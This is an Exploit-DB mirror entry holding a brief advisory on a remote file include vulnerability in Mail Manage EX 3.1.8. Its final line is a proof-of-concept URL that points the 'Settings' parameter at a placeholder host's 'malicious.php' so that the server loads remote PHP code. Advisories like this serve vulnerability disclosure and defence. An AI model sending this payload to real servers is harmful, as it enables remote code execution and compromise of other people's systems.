exploit-db-mirror/exploits/php/webapps/24168.txt
Offensive Security b4c96a5864 DB: 2021-09-03
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

7 lines
No EOL
493 B
Text

source: https://www.securityfocus.com/bid/10457/info
Mail Manage EX is reportedly prone to a remote file include vulnerability. This vulnerability results from insufficient sanitization of user-supplied data and may allow remote attackers to include arbitrary PHP files located on remote servers.
This issue was discovered in Mail Manage EX 3.1.8. It is possible that previous versions are affected as well.
http://www.example.com/mail/mmex.php?Settings=http://www.example.com/malicious.php